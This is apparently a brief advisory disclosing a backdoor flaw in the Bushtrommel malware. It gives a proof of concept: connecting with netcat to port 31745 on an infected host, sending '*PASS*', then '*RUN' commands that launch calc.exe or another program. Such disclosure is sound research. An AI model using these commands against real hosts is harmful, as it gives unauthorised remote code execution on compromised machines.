Adversaries who can reach infected hosts can run commands made available by the backdoor. The "*RUN" command calls CreateProcess() based on CL input, errors will result in a pop up dialog on the infected host: "CreateProcess() in function () GetConsoleOuput() failed!". Correct syntax is as follows *RUN"calc.exe", successful code execution results in the response "*EVA*" from the backdoored host.Family: BushtrommelType: PE32MD5: 76c09bc82984c7f7ef55eb13018e0d87Vuln ID: MVID-2022-0630Disclosure: 08/04/2022Exploit/PoC:C:\>nc64.exe x.x.x.x 31745*PASS**RUN"calc.exe"*EVA*C:\>nc64.exe x.x.x.x 31745*PASS**RUN"c:\DOOM.exe"*EVA*Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
